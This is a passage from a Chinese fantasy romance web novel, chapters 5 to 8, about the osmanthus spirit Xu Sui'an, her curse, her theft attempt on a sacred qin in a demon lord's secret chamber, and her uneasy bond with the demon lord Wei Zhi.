“小岁安?愣着干什么,快喝呀!”
绪岁安点点头,“嗯!”,仰头一饮而尽,又酸又臭还辣!绪岁安边喝边发出“yue”的动静。
“你这……”
绪岁安抹抹嘴边,岐黄问她要药碗,却见她将那碗藏在身后,无知状看向他,“喝完了,真难——yue!”岐黄赶忙上前摩挲她后背问道,“真这么难下咽吗?”,趁其不备,赶忙将她身后那碗夺来,小心地擦着碗身,“你现在真是穷疯了,连这金碗也要夺。”
“感觉如何?”岐黄关怀的眼神望向地上的她,绪岁安回过神来仍觉得口中有五毒在爬。
“要让我再喝一次还不如让我去了!”
岐黄嗯了一声,绪岁安原以为她话说得太重伤了岐黄的一片好心,没料到下一秒岐黄自言自语道:“是该再改改,可不能让尊上喝这等汤药……”
绪岁安歪头:“合着我是给他老人家试药?”
岐黄赶忙制止,“怎么说话的,嘘!话说小岁安呐,可有什么感觉?”
闻言绪岁安看向手心,手心灼热,先是出现了桂花状的印子,再是一只侧身的蝴蝶叠在上层,后慢慢加深,直至黑红的线条使她钻心得疼,红润的唇一下子变得苍白,额间沁出层层冷汗。
“这这这怎么回事!我明明给你
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饮前自己也试了的呀!”岐黄见情况不对,急的直拍手,弯腰细细查看了许久,“是替身咒!”
绪岁安只觉耳边一阵轰鸣,眼前万物颠倒晕眩,随即晕了过去。
——————
意识朦胧间,她隐约瞧见眼前的男人眼中闪过一丝担心,或是她的错觉吧,她合上眼不想再理会,她好累。
“尊上,小岁,这小桂花精是这几天忧思过度,再加上先前被天雷中伤还未恢复,属下的药力太猛才导致……”岐黄还在说,便被危止抬手叫停,他轻轻将她额前的碎发撇向一边。
危止瞥眼瞧见绪岁安掌心处的印记,握住她的手轻轻掰开,图案展现在眼前,使得他一怔。
灵蝶?怎会呢。他心道。心中已有万千个可能浮出,危止视线落回绪岁安苍白的小脸,眼中担忧散尽,取而代之的是一片寒凉。
“尊上那这……”
“继续治!”
危止撂下一句便气冲冲地离开。
绪岁安这一病就是病了许久,她总是在梦境里脱不出身来。
有时梦见一位与自己相貌相同的女子干着的尽是些丧尽天良之事,她高傲又坏的透彻,她总能梦见那女子的许多,欺凌弱小,逼迫侍从,取仙子的心头血只为喂食她的爱宠……
有时梦见危止,白日他身着神圣的白衣金带,站在云层之上俯视众生,夜晚他却藏身于一间幽暗的密室,抱着一根枯树干话家常,时不时还能给自己说红了眼。那枯树干上还刻了字,有些模糊她看不清全貌,只看到几个“纪行之”,密室之中摆满了女子的画像,似是同一人,在寂静昏暗的密室,看着都渗人。
那是他的白月光吗?奇怪,白月光是什么?月光我倒是知道,这白月光却实在不知,绪岁安心道。
“白月光,如同月儿般皎洁无瑕、无法触及的遗憾的心上人。”
你是谁?
绪岁安等了许久都未等到回应,只留她一人在空虚中徘徊。
远处危止似是感应到什么般红着眼眶望向绪岁安,绪岁安一惊,摆摆手示意自己什么都没看到,在看到危止的眼时她愣住了,耳边一阵嗡鸣,她忽地睁眼,胸口不断地起伏。
绪岁安下意识地瞥眼看向手心的位置,那痕迹已然消失。
“你醒啦?”
“嗯,我这是怎么了?”
岐黄又将一副汤药递给她,她努努嘴赶忙摆摆手,岐黄硬将药碗放在她手中,“那副药没问题,就是药劲太大,你先前受的伤还未恢复,这一刺激,不就晕过去啦!”
“喝吧,没事,给你开的温和方子。”
绪岁安半信半疑地垂眸,这是只玉碗。
岐黄似是看穿了她,“你可别再藏了哦,这世上本没几只。”
“那你给我一只。”她的声音虚弱,却也依旧没忘贪财本性,岐黄两耳不闻转身将毛巾放入水盆中。
“合着身上的伤痛竟还不能让你收敛。”闻言,男人大步走进殿内,岐黄转身行礼后退下。
危止撩起袖子若无其事般帮她把毛巾拧干,侧坐在榻边,伸手想要为她擦汗却被她躲开,他的手一顿,而后又不容质疑地贴上她的面颊。
5. 第5章 你倒是逍遥的很,始作俑者
“怎么,我很可怕?”
绪岁安摇摇头,脑海中全是那密室、那男人、那墓碑,还有那一堆的画卷。这魔头想是有坑让我跳呢,突然如此殷勤,指定有鬼!绪岁安心道。危止端起她放一边的药碗,舀起一勺就往她嘴边送,绪岁安先是拒绝的,后是被魔王送碗而打动,凑过去只喝了一口,后想到魔王那白月光,遂接过来自己仰头一口闷。
魔王似是无意间提道:“手没事了?”
绪岁安摇摇头,“好着呢。”
魔王眼底莫名闪过一丝得意,绪岁安疑惑看着他那扬起的一边嘴角。
过了许久,危止似是想起什么般盯着她的眼问:
“你病了月余,不知你答应本座的事是否——”
绪岁安掐准话头猛地晕了过去,吓得危止站起来大喊岐黄。
“岐黄!”
“那灵蝶与那小桂花精共生,您是如何?”云螭在一旁小心问。
危止冷笑一声,晃着手中的杯盏,这桂花和灵蝶他可太清楚不过了。先天帝声称有一至宝灵蝶,所散发的法力能镇守三界,后而就有人打起了灵蝶的主意。“灵蝶在谁身边,谁就能执掌三界,这也是现在那天帝小儿的执念。”
“尊上是说,离昂?”
危止笑而不语,垂眸看向桌前的一晶莹羽片,许久,才开口。
“是啊,他为权利所动杀天帝夺灵蝶,而天帝仅有这一子。”
“这株小桂花精可不同,她是灵蝶栖息的灵树,专为灵蝶供送灵力,后被羽涅带出,移至绪照山温养。”
“灵蝶与桂花共生,倘若一方过于强势,另一方必受其反噬。”
云螭恍然大悟,所以那天尊上气势汹汹地杀到天界只是为了这只小桂花精而中伤灵蝶?他原以为能看见他家尊上卸了那天帝的狗头,竟只是为了那小桂花精!尊上一定是着了她的道。
危止似是看出了云螭的不对,轻咳补充伤:“倘若这灵蝶受伤,那离昂与天族那起子人不得急的团转?”想到离昂发怒跳脚的模样,云螭才稍稍正常。
危止拿过桌上的羽片,“拿去,让岐黄熬了它,再给那小桂花精补补。”
云螭接过才仔细发觉那羽片竟是一只蝴蝶翅膀,他家尊上果然英明神武!一想到那天帝小儿跳脚的模样他就觉得有趣。
*
绪岁安抱着枕头,满面愁容,她这一病就是月余,还有十天不到那魔王就要看那桂花枝如何,那桂花枝她细瞧着是上好的枝儿,被人养护的很好,和她那焦香粗糙的灵境可比不得。
要不坦白说吧?想着绪岁安便摇摇头,不行!危止那魔头给一无辜小妖下咒的事他都做的出来,简直一无赖!无赖可不会因为她诚实可爱活泼开朗楚楚动人就放过她的,没准还要让她给那桂花枝陪葬!
绪岁安将抱枕一扔,对着窗,作出一副虔诚模样,双手手背贴在额前,朝窗外拜了几拜,嘴中还嘟囔着,“桂花大人,您善良勇敢美丽,请您救救我这株蠢笨的小桂花树吧!小人正直青春年华,还未体会完人间七感,不想早早喝上孟婆汤……”
祈愿结束,绪岁安坐直身子,就瞧见一道星光滑过,她赶忙穿好鞋袜,朝着那‘唯一希望’的方向跑去。而后她便傻了眼,那道星光停留在瑞灏殿上空便消失了!
绪岁安忽而想到那神秘人所说的密室,心想,那座上是否是在提醒她,只要去到密室将那生什么玄琴偷出来,归还给天界,或许天界能保她一命,没准还能解了那魔头给她下的咒!天界有十二神,必有法子解咒的吧?
绪岁安眯眯眼,似是坚定了决心。她抓着刚好过路的侍从打听殿内的情况。
“出门了?那云螭呢?”绪岁安心中一喜。
“云大人必是要跟着尊上的啊。”
绪岁安长嗯一声,满意地摸摸下巴,“知道了,谢谢姐姐!我原想找尊上禀告些事情,现下尊上不在,那我也只好回去了。”
“嗯,你快走吧!尊上最讨厌别人随意进他的寝宫了。”
绪岁安转身放慢脚步,时刻注意着周围的动静,确认那侍从离开后才转身迅速溜进寝宫。“嘿嘿嘿,小密室小玄琴,我来啦!~”
魔王的寝宫幽暗,绪岁安找了许久都没找到变亮的法子,她耸耸肩,小声嘟囔,“怎么跟个冷宫一样,阴阴的……”
殿内一展屏风后传来开启的声响,吓了绪岁安一跳,她扒在屏风后探头望去,地面有一道缺口缓缓打开,是一级又一级的石阶,通向地下。
密室!?
满怀忐忑的绪岁安小心翼翼地一步一台阶,噗嗤的一声,隧道中墙上的火炬一瞬燃起,照在她脸上,印出害怕的神情。
隧道尽头,是一间小屋,轻轻推开那扇吱呀响的木门,映入眼帘的是与梦境中相同的场景,只那枯树干变成了一尊石碑,静静靠墙立着。这次,她看清了石碑上的字,上面刻着‘纪行之妻’,下方的名字被人狠狠划去,道道划痕都极深,想必那人格外愤恨这石碑上的人。
那道道划痕像是无数根刺,深深扎根在她的血液中,一思一疼。
“纪行是谁?”绪岁安蹙起眉,当她喊出这二字时,脑海中总有一人的身影闪过,似是个有很多故事和秘密的人。在那人转身时,她只看见了一片空白。
她摇摇头:“不想了,找神器才是正经事。”
随即在这间小屋中四处搜寻起来,搜寻良久,也并未找到任何像琴的物品。
刹那间,绪岁安捂着心口,一阵绞痛,想必是那病的后遗症吧。指缝快要抓入一旁屏风的木框架上,恍惚间,四周变换,她来到了一个新地方。淡淡的蓝紫色荧虫环绕,构建出一张画布。
画布间隐隐显现一架琴,银白的琴弦竖下,泛着圣洁的光辉。想必这就是那神秘人所说的生玄琴吧,绪岁安心道。
心口的痛感持续不断,额间沁出层层冷汗,她真想直接倒在这儿,却又想起所在,抿了抿唇。
忽的,那生玄琴的琴弦开
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始自顾自拨动,每根弦的波动发出的每一音,让绪岁安感到心安,犹如在襁褓之时母亲温和的怀中,心口的疼痛也逐渐平缓隐默……
它在安抚她?
她上前试探着伸手抚上那根根琴弦,她有些诧异,那琴弦之中竟有着磅大的生命力。
不对!它分明是在诱惑她!
对于藏在生玄琴之中的力量,绪岁安震撼地连连后退。师父说过,倘若是死物有了生命,那一定不要介入它们的因果,会万劫不复!
绪岁安当机立断,慌乱间扭头就跑,那幻境似也由着她,仍由她跑出幻境跑出密室。
只是那生玄琴闷闷,震发出一大划术法波动,荡平了密室,那石碑也跟着碎了,生长出的藤蔓绕着裂口攀延,只留下一个‘妻’字。
“要劈我就劈我吧!我不干了!”
回想起前几天被天雷屡屡劈中,却也不至于要了她性命,大不了就是疼一下麻一下。可这次不同,那生什么玄琴简直是个魔物!
绪岁安一路狂奔出了密室,只站在门口,她就听见身后爆炸坍塌的声响,她不由得抖一激灵,还好她没被蛊惑出了幻境出了密室,不然尸首拼不拼得起来也未可知。
她没心思再逗留,头也不回地跑出殿内,从而忽视了一旁桌前的男人。
危止单手撑膝地坐着,盯着她一路出了瑞灏殿,眼中情绪未明,只冷哼一声。
这小桂花精,炸了别人的密室还能同只小老鼠般溜走。
大抵是用灵蝶做补药,补得她忘忽自已了罢。
绪岁安一溜烟跑到魔宫内的小花园透气,一朵小月季开口:“诶小桂花妖,干什么去了如此鬼祟?”
还未等她回答,另一株草抢答道:“还能干什么去,定是炸了尊上的寝殿!”
绪岁安蹲到那一株草面前,试图反驳,“你瞎说什么啊!小心我告你诽谤哦。”
“我们都知道啦~”身后一片儿的花草同时开口,绪岁安猛的扭头。
“你从尊上的寝殿方向来,而尊上大怒传了云螭火急火燎往瑞灏殿的方向走,还不是你这只小坏妖?”
绪岁安撇头小声嘟囔:“我怎么知道那密室会自己炸……”
“你说什么?”
绪岁安摇摇头,“没啊,你幻听了吧。”
“诶话说你们呆在这儿这么久了,尊上是个如何的人你们总归是知道的吧?侍从犯了小错,他会如何罚处呀?”绪岁安转而想到什么,低头问它们,却迟迟未等到回复,只头顶一片阴影笼罩。
绪岁安倍感不妙地缓缓转过身,朝那阴沉着脸的人微微一笑。
“哎呀!”
绪岁安被扔在冰凉的地板上,她刚爬坐起来时正对上那双阴的眼,面对魔王的威压,遂又马上低下头,如同一个犯了错知错了的孩子。
危止看了眼云螭,待云螭退下后,空旷的殿内只剩一人一树。
上位的男人冷笑道:
“你倒逍遥。”
6. 第6章 尊上我给你吹吹
“炸了本座的密室,自己倒跑到花园,玩儿去了?”
绪岁安猛地摇摇头,小声道:“迷路了。”
魔王更是觉得新鲜,嗤笑道:“那你还得谢本座命人将你抓回瑞灏殿?”
绪岁安将头低得快要贴近地面,“属下不敢。”
魔王突然凑近捏住她的下巴,压在骨头上,生疼,绪岁安皱起眉却迫于魔王的威压不敢再吐露半字,只听着他言说,“近冷泉闯文渊入密室,你哪次不敢?这次竟更甚,竟敢炸了本座的瑞灏殿!”
“不是我炸的,它自己就就炸了!”
危止笑容更深,像把渗血的刀子,悬在她头顶。危止垂眸,盯着她那皱巴巴的小脸,心中冷嘲,她这副委屈模样是做给谁看。指尖的力道更甚,只瞧她似是受不住了地颤颤巍巍举起手,朝他比了个‘三’字,他竟也懂了她的意思,事不过三。
令危止自己更意想不到的是他竟真的遂了她的意,松手时,下颌处两道红印明显,绪岁安揉了揉两边。
“这可是你自己承诺的,事不过三。”
绪岁安点头,对上魔王的眼后又马上移开。见魔王不在发话,她腿软地站起身就要往门外走去。
“站住。”
绪岁安转过身,自觉扬起一抹微笑:“怎么了尊上。”
“我还没问完,你倒自觉,怎——”
话未毕,绪岁安格外顺滑地跪在地上,危止心中生出一股莫名气来,又作出这一副乖张模样!
“是谁指使你进入瑞灏殿从而又进了密室的?”
提到此处,危止眸中攀上凶狠,泛着寒人的戾气,像是她若招了必要让她受魔界一百一十二种刑罚直至死亡。思绪片刻,绪岁安抿抿唇,似是鼓足了勇气,“我就是,闲逛至此,见那门开着,便走了进去想着瞧……”
危止将一旁的杯盏一扫而地,溅起的碎片划过绪岁安的手臂,那瓷片锋利,没一会伤口就滋滋往外渗着血,刺挠的疼。
绪岁安吓得一激灵,往旁挪了挪,危止怒道,“还不说实话!”转而绪岁安瞧见危止骨节分明的手指间握着的忘玄剑。那剑泛着幽幽寒气,凡被此剑伤者若还余性命苟活于世,定沾染极寒之毒,中毒者没一个能熬到冬天,就连岐黄这种医术高超者都无法延续其性命。
绪岁安不争气的泪水在眼眶徘徊,满是对危止这大魔头和那破剑的恐惧,不管危止是否相信就全部倾泄而出,支支吾吾抽泣着道:“是,是一天界‘神秘人’命我,命我潜入密室,偷,偷走生玄琴……”
见她这副模样,危止一愣,他也未曾想,这小妖胆大妄为,遇上忘玄竟也能吓成这样。她口中的那位‘神秘人’倒是吸引了他的注意:“你可见过那人?”
绪岁安又皱巴巴的模样摇摇头,“它,它都是。”,绕得她自己也无法说清了,“我没见过。”
危止不解地看向她,只拿剑轻轻挑了挑她那凌乱了的衣摆,“没见过你还敢帮他?”
这一句更是直戳戳地刺入绪岁安的心头,先前的委屈也一并涌上来,连带着忘玄的微微寒气触及她的皮肤时幻想出的刺疼,哭得更加不能自已。
“它劈我,呜呜呜呜呜呜……”
危止不明所以,只觉得有些好笑,眼中更多出一丝怜悯。
“你这小桂花妖油腔滑调,它又如何能劈得中你?”
绪岁安仍是抽泣模样,有问必应:“呜呜,它引天雷劈我!呜……”而后,绪岁安擦擦脸上的泪水,强让自己镇定,一开口却又是“哇”的一声,嚎啕大哭,危止只能从她的一众连音中听出一些词来。
“我,灵境,呜,它,雷,呜,焦香了……”
危止见眼前模样,收了那忘玄剑不再吓她,蹲下身,将随身的帕子递给那小桂花精,偏过头看向一边,不由得扬起嘴角,忍住不去瞧她。
好一会,那小桂花妖都未接过帕子,危止回过头,只瞧着她手捂着脸仍有些抽泣,他无奈地拉下绪岁安的手,亲自为她拭去泪水。绪岁安抬眼呆滞地看着面前的男人动作,男人专属的木质清香扑面而来,亦不知她是哪根筋脉搭错了,开口只淡淡二字,便能使得眼前这男人忽而顿在原地。
“纪行。”
危止眼中闪过一丝惊讶,“你又如何知晓?”
绪岁安眸光落在那密室入口,现下已炸得木材石料堆砌,“我在里面看到的。”她未发觉身前危止眼中的眸光黯下,她只觉得纪行这名头,熟悉的很却又怎么都想不起来。
危止拉起她的手,将帕子塞在她手中:“那那人可还再同你说了些什么?”
绪岁安渐渐冷静下来,望着他那深黑色的瞳:“它说,说你死则三界平安。”
危止只觉得好笑,似是猜到了是谁的手笔。
“还说什么符呜序上神,预言我抗下天呜雷,乃大命格呜之人,定能挑起守护苍呜呜的责任。”
危止嗤笑,摇摇头,这符序,还真敢睁着眼瞎说。转而他又想起什么般看向那小桂花,故意吓唬她道:“符序预言你乃大命格之人,如今本座就在这儿,你何不杀了本座,守护你的苍生?”
绪岁安黑长的睫毛上沾着的泪水还未干涸,摇摇头,带着重重的鼻音弱弱答道:“不呜了不呜了……”
绪岁安临走时,危止叫住她,眼瞧着她那哭得两颊泛红鼻头通红的小可怜样,什么威胁的话都堆在喉间吐不出来,哽道:“帕子洗干净还我。”
绪岁安像是丢了魂地点点头,一路垂着头走回广寒殿。
生玄琴已从密室中挪出,危止坐在其旁,似是自言自语,“这小桂花精胆量竟如此之小,遇上忘玄竟能哭成那样。”
那样……
白皙精致的脸颊哭的微微泛红,抽泣着的模样更甚是,像只小白兔?
“哈,她?”危止被自己的想法气笑,有些不可思议道。生玄琴琴弦在他身侧轻轻波动,似是在赞同他的想法。
忽而好一会,他强制自己将思绪放回到那小桂花精口中的‘神秘人’身上,能持续操控天雷,必不可能是那十一神,那就只有,天帝离昂
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。
危止冷哼一声,眸光凌冽,就连一旁的生玄琴弦也泛出异样的光。
多次想治他于死地的也只有他了。
在天族时是如此,被逼着堕了魔亦是如此,倘若不是念及先天帝养恩,他定不会步步退让,留离昂的性命至此。
绪岁安回到广寒殿,满面愁容地坐在书桌前。
现下她已将一切说与他,接下来他是要要她性命还是就此放过还不得知,但她清楚的是,那神秘人定不会轻易放过她,他们放在魔王身边的一枚暗棋暴露了,生玄琴也没了,对于弃棋……
绪岁安猛的摇摇头,而后又丧气垂下头,指尖怼指尖,长叹一口气,哎,真难。
为自保小命供出天界,体内又有魔王下的禁咒,进退两难,哎!
“还不如让我死了!”绪岁安忽地站起身,作势要往柱上撞,而靠近石柱时又紧紧抱住,“我还不想死啊……我还没看遍大好河山,还没去过他人未去之地探险,还没尝过人间那么多的小食……”
转而,又像变了个人般推开,“绪岁安你有点骨气好不好!你堂堂绪照山最厉害的小妖,岂会被这区区斗法难住?”绪岁安臊眉耷眼地耷拉着脑袋一屁股跌坐地上,“那怎么办嘛!”
她的小脑袋瓜中真是一点法子也没了。
求魔王?对,求魔王。
但是我炸了他家他岂会帮我。
那我就讨好他,求他。绪岁安越说越不自信,低头小指扣着自己的衣摆。
她定要赶在天雷降下之前,讨好那危止,哪怕是磕破了头,也要求他保自己一命!
说干就干,她收拾好自己那狼狈形容,一溜烟跑去了厨房。
危止要与符序商议事宜,过路厨屋时,里面白粉漫天,炊烟不断,里头人更是打了一喷嚏,那部分白粉顺势扑了他满身,黑色的发上也沾染点点白沫。危止顶着后槽牙,胸腔剧烈起伏,时常冷静的眸子此刻却似有火苗在窜。
“啊秋啊秋!”屋内那清晰的女声连打几个喷嚏,屋内更有白面粉扑来。
未沾染面粉分毫的云螭站在一旁,作出一副那人完了的模样,耸肩,屋内那人只能好自为之了。
绪岁安瞧着门口一道黑不拉秋的身影,顶着满身满面的面粉,“咦”了一声出门来看是哪个倒霉蛋,正对上的是危止那像是要杀人的脸。
“好好巧啊尊上。”
见云螭在一旁捂嘴偷笑,她更是觉得自己死到零头。
“呀!尊上怎么脏成这样。”绪岁安赶忙上手帮危止拂去面粉,好巧不巧,有的面粉死死沾在衣服上,无论她是拂还是吹也依旧在原处,她皱起眉,伸手便在那衣袍上使劲拍了拍。
头顶传来男人的咳嗽声,绪岁安才反应过来,找补道:“哪个不长眼的,给我们尊上搞成这样。这面粉粘在您的衣袍上,哦!还有头发上也有。”
危止抿抿唇,撇开她的手,看着她那满面白粉的模样,头发还弄得乱糟糟的,心情倒是舒畅了不少,挑挑眉,“你在这作甚?”
7. 第7章 糟糕!魔王发现了!吾命将陨!
“我,我来给你做糕点呀!”
危止瞧着眼前她这幅样子蹙起了眉,她这又是作的什么妖?危止垂眸正对上她那水汪汪的黑瞳,不自在地撇开眼,喉间上下翻滚。他只伸出僵硬的手,在她头顶挥了挥将部分白粉散去。他想再同她说些什么,一开口却是:“你不炸了这厨司便已是大恩大德了。”
语毕,他看着那小桂花精仿若有些失落的神情,心中一个劲地懊恼,他怎么能随口就说出如此冰冷伤人的话。
“你……”危止正思考着如何交谈下去时,那小桂花精已然转身往厨屋内走去,他放下刚抬起的手,挑眉,长呼一口气,仿佛结束了一场艰难的会话,而不一会他就有些忧虑,那小桂花精不会被他伤了心吧……
若不是云螭提醒,危止怕是要在门口呆站上一天。
“这下完了完了完了……”绪岁安戳着面前的面团,心中乱成一团糟,“得罪了魔王,他到时候不肯保我怎办?”
“不对!大魔王他到底要去哪啊,我的禁制我的命!”她疯跑到门口喊道,“尊上等等我!啊!”门槛将她绊到在地。
“你听见什么了吗?”危止回头问道。云螭摇摇头:“不知尊上所言是何?”
“本座总觉得忘了什么。”危止眸光黯淡,蹙眉。
“或是错觉吧。”
语毕,右腿一道熟悉的力道抱来。危止低头,正对上那只小桂花精笑嘻嘻的脸,“嘿嘿,尊上,您忘了我了。”
云螭眼见这小桂花精不要命了地模样退远了些,生怕殃及到自己。他们家尊上是个洁癖的主,这小桂花精不仅将面粉撒在尊上身上,还敢顶着一声面粉抱着尊上,真是嫌命长啊。
“松手。”危止淡淡的话语中充斥着威胁的意味,云螭在一旁露出怜悯的神情。
“尊上~您曾给我下咒,您忘了?”绪岁安可怜样地蹭了蹭危止,却可见危止脸色更沉。
危止亲眼见着自己新换的黑袍又再度染上白粉,心中一股火焰正熊熊燃烧。他跨出一步又被禁锢着弹簧般收回,无奈叹气:“起来。”双腿重获自由,绪岁安面对着他飞速站起身,危止只觉得下巴遭到猛烈的撞击疼,他‘嘶’了声,强压心中怒火,看向一脸歉意的绪岁安。
“尊上对不起!我不是故意的……”说罢,绪岁安便伸手要给他揉揉,危止一手撇开。
“不必。”垂眸看着那小桂花精眼中的担忧,他竟有些生不出气来,“跟着便是。”
而那小桂花精眼中的担忧只是对自己连创危止后小命的担忧,那危止反而没一掌劈了她,有些意外。
意外的人何止是绪岁安,一旁的云螭也因见他家尊上并没有发难那小妖而感到惊奇诧异。
绪岁安跟在危止身侧,时不时抬头关注危止的神情:“尊上,其实我,你给我解了就行,我去干自己的事情,我去给你做桂花糕!”
危止睨了她一眼,绪岁安无奈闭了嘴:“好吧,不解就不解吧。”走了一段路,前面人忽而停下,绪岁安一头撞上去,她揉揉脑袋,危止转过身,“手伸出来。”,绪岁安望望魔王看看手腕,不知那魔王又要作甚。
危止施了术法,她的手腕处没一会儿就多了对玉镯,绪岁安眼睛一亮,玉的!
“这对时环内有本座的气机,你且带着它便可规避那咒的伤害。”还未说完,危止对上绪岁安亮闪闪的狗狗眼一愣,他蹙起眉,能远离他她就笑的这么灿烂吗?罢了,也只是只无知小妖,何必与她计较。
“你走吧。”
“好嘞谢谢尊上美意!”绪岁安头也不回地溜走了,危止转过身时人影都消失不见了。
“这小树妖真是的,尊上让她走她竟真就敢——”
“罢了。”他与符序所要谋划之事未成之前不能因任何人中断。这小妖先前还为天族效力,他无法保证那小妖不会再回到天族将功折罪。
路上的风都是自由的气息,绪岁安满意地一路蹦跳着回到绪照山。至山脚时,她那好看的眉微蹙,仔细嗅了嗅,不知为何,上山的必经之路沾着血腥气息,已然完全覆盖了绪照山的青草花香。
绪岁安抿着唇不让自己发出动静,她小心谨慎地向山顶靠近。
这越靠近灵境血腥味就越浓,她的心不安,躲在片灯草后,灯草生长的高度正好能完全遮挡住她蹲下的高度,绪岁安怀揣着恐惧拨开那些遮挡的小灯草,竟瞧见一具男尸靠在她的灵境根处。
绪岁安震惊地捂住嘴,静下心来瞧,那‘男尸’还有着微弱的呼吸。纯金色衣袍上道道划痕,沾着点点血迹处已然泛黑。纯金色的衣袍搭配黑金腰带,实在是,丑俗兼备。
绪岁安断定他丝毫审美都没有,定是人间地主家的,受了死敌追杀才逃命至此。
确认周围没有埋伏后,绪岁安小跑到那‘地主儿子’身边蹲下,仔细查看那人的伤势时,她并未察觉大魔王给的时环已然变成刺眼的红色!
绪岁安掰着他的头查看一圈无伤痕后点点头:“模样倒不错,可惜。”
一处最深的伤口在腰间,她看不出是否是致命伤,毕竟从前是师父救治这些误闯绪照山的家伙儿的。
她学着记忆里师父救人的动作,伸手想要再探探这人身上有没有其他伤处。略过他腰间的伤口时,她明显感到掌心有法力流动,再低头,那道伤痕已然不见。绪岁安猛的握紧手心贴在胸口,我的法力回来了?
绪岁安再伸手在那人脸上的伤处上方,不一会儿,熟悉的波动从掌心流过,那人的伤瞬间愈合了!
她收回手,有些欣喜,也有些纳闷。绪岁安注意到腕间的时环周围层层萤火蕴绕,想是危止的法力与绪照山的小灯草结合,她才能施出术法。
正好,绪岁安施了个低级术法,将自己灵境最低处的枝头延下来拖起那‘地主儿子’,编织了一张小床给他用来温养与修复,其顶生出几朵桂花,飘落的花瓣形成一个保护罩。待时机成熟,它便会自己散开唤醒那人。只是现在她太弱了,灵境还是焦香的状态,延展出来的枝子虽是好枝却是与先前未受伤时的枝子不能比的了。
“原先只需三日便可成,眼下怕是要三十日了。”绪岁安喃喃自语道。
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>而后她又抬头看向那小床,道:“我怕是不能陪你了,三十天到了你便从哪来回哪去吧!”
绪岁安突然想起什么,用着微弱的法力艰难地从另一边枝头催出一朵花来。
她将那折桂花枝握在手中,担心的神色流露,也不知这魔王会不会察觉它的异样。
不管了,先拿回去好好养着看看能不能养出那桂花枝的精致模样。
绪岁安回到魔宫时已然深夜,她尽可能不被魔王察觉绕着远路回到广寒殿。
确认门外无人后,绪岁安心安地合上殿门,转身时却被站在她身后的大魔头吓一激灵。
“你你你你你你!”
魔王抱肘见她这副心虚模样疑惑地盯着她:“这么晚了才回来?”
绪岁安警觉地将桂花枝藏于身后,“不啊!我晚饭吃撑了,去花园逛了一圈消消食儿!”
危止低头冷笑,再对上她那一眼心虚的眼:“手上拿了什么?”
绪岁安耸肩,“没啊!倒是你啊危止尊上,大半夜来我房中作甚?知不知道孤男寡女共处一室——”话都还未说完便被危止不屑地打断:
“这魔宫内所有的东西都归本座。”话中带了些傲慢,他朝她挑眉,“本座想去哪去哪。”
“倒是你,夜不归宿,支支吾吾……”
不知何时,对于危止的步步紧逼,绪岁安已然贴靠在墙上,虽说不过人家,但气势不能被拿捏!绪岁安踮起脚,一脸浩然正气的模样看着人家。而在危止视角,这小桂花精竟不知好歹地敢踮起脚瞪他!
绪岁安紧紧贴着墙,两人僵持不下时,背后传来‘咔嚓’一声清脆,回荡在空旷的广寒殿。绪岁安心下道,不好!!!
危止见绪岁安表情不对,强将她的手拉到面前。
眼前是已然断成三截的桂花枝,一段一段地掉在地上,就如同绪岁安的心,碎了又碎。
绪岁安闭上眼,不愿接受眼前的结果,身形一颤。等了许久,也未听见眼前人的动作,她抬起一只眼偷看,恰对上危止那如冰刃般冷冽的犀利目光,她又猛地闭上眼。
小声又无助的声音朝他道歉。
“对不起……”
魔王长叹息,绪岁安依旧不敢睁眼,只觉衣领口处猛的一紧,紧的快要窒息。
危止气的眼眶都微微泛着红,揪着那桂花精的衣领,强迫她与自己对视。
“我错了我错了!”
她胆怯地看向他的眼,记忆中渐渐浮现他那满是戾气与杀戮的眼,记忆与现实重合,她大抵是要折在这魔王手上了。
僵持了许久,魔王忽而将她扔下,邪魅一笑道:“我这有一古法,你可愿意将功折罪?”
“愿意愿意愿意!”
魔王满意地开口:“那便是用血将养着,直至复生。”
闻言绪岁安形容一僵,弱弱问:“要多少血啊……”
多了她可没有。
危止比了个手势,绪岁安探头试探问:“一小管?”
“一碗。”危止怕她理解错,还特意补充:“每天一碗。”
8. 第8章 既然难养,那本座悉心照料便是
绪岁安恨不得直接让危止这大魔头给她一痛快,只这句话卡在嘴边,硬是吐不出来。在她还在担心害怕时,脑海中浮出一词,‘血浆包’?她也不知道为何会有此怪异的词组在她的脑海中,不过目前想来,这个‘血包’的确更为适合她。
“尊上,逝者已逝,哪怕是我师父都无法救回......”
危止的眼神冷的吓人,她悻悻地闭了嘴。
“别总想些有的没的,每日子时,来瑞灏殿,本座亲自盯你。”魔王的一道话打碎她的幻想,她偷偷抬眼看着魔王,似是他能读到她的心般,可他脸上却没任何异样。
绪岁安只觉得冰凉流淌着的血液快要冻结,眩晕感又充斥头脑,难受得快要窒息,两眼一花,陷入无穷尽的黑暗。
“又装。”危止原以为这小妖又要装晕逃过,冷不丁地冒出一句,“你若现在不起来,本座即刻杀了你。”等了许久,见那小妖还未动静,危止立马慌了神地将她捞起,抱上床的瞬间还大喊着岐黄。
“呀呀呀呀呀呀!”岐黄背着药箱,慌张地朝绪岁安伸出手,“这这这尊上您又对她干了什么。”岐黄边查看着边心中默念这小桂花精可要好好的,不然他该如何报答她师父的救命之恩。
危止抱肘站在一侧有些尴尬,挠了挠额间,谁知这小妖这么不禁吓,竟又硬生生吓晕过去,他心道:本座当初受了离昂的诡计,受下万枚离魂钉后也未像她这般。谁知她如此不禁吓......危止再朝她看去时才发觉那小桂花精小脸被吓得苍白,毫无生气。
他有些忐忑:不能真吓死了吧......
待岐黄转身,危止便迎上去,“如何?”
岐黄看了眼危止后摇摇头,“眼下是缓过来了。”,转而话锋一转,“尊上,这小桂花精先前的伤还未痊愈,这一吓便容易过去,您到底对她说了些什么?”
危止有些心虚,撇头向一边:“本座只是吓她要放她的血罢了。”
岐黄瞪大了眼,赶忙跪下礼拜制止,“万万不可啊尊上!”
“这小桂花精气虚体弱,放血必会虚空而亡。”
闻言危止一怔,他倒也没那么想让这小桂花精死。
他垂眸,问道:“那,本座应该怎么做?”
“这株小桂花精难将养,不如尊上将她放回绪......”
“既然难养,那本座悉心养着便是。”危止将岐黄的话堵回,他的眸光有些黯淡,他也不知为何,想必是这小桂花精太坏,给他惹了许多麻烦,他可不想轻易放走她让她逍遥自在地快活着,继而他道:“既然没事了,你下去吧。”
岐黄看看塌上的绪岁安又看看已经坐在塌边的危止,道了句‘是’便退出了殿内。
殿内只剩下一人一树,危止看着静静躺在榻上的绪岁安长叹了口气,他只盯着她细细观察,只觉岐黄说的不假,这小桂花精的发有些棕黄,想是营养不良体虚导致。六百二十道天雷他受过,那几道天雷对一只法力低微的小妖来说的确太过,就连他自己也未察觉自己的眼中流露出的怜悯。
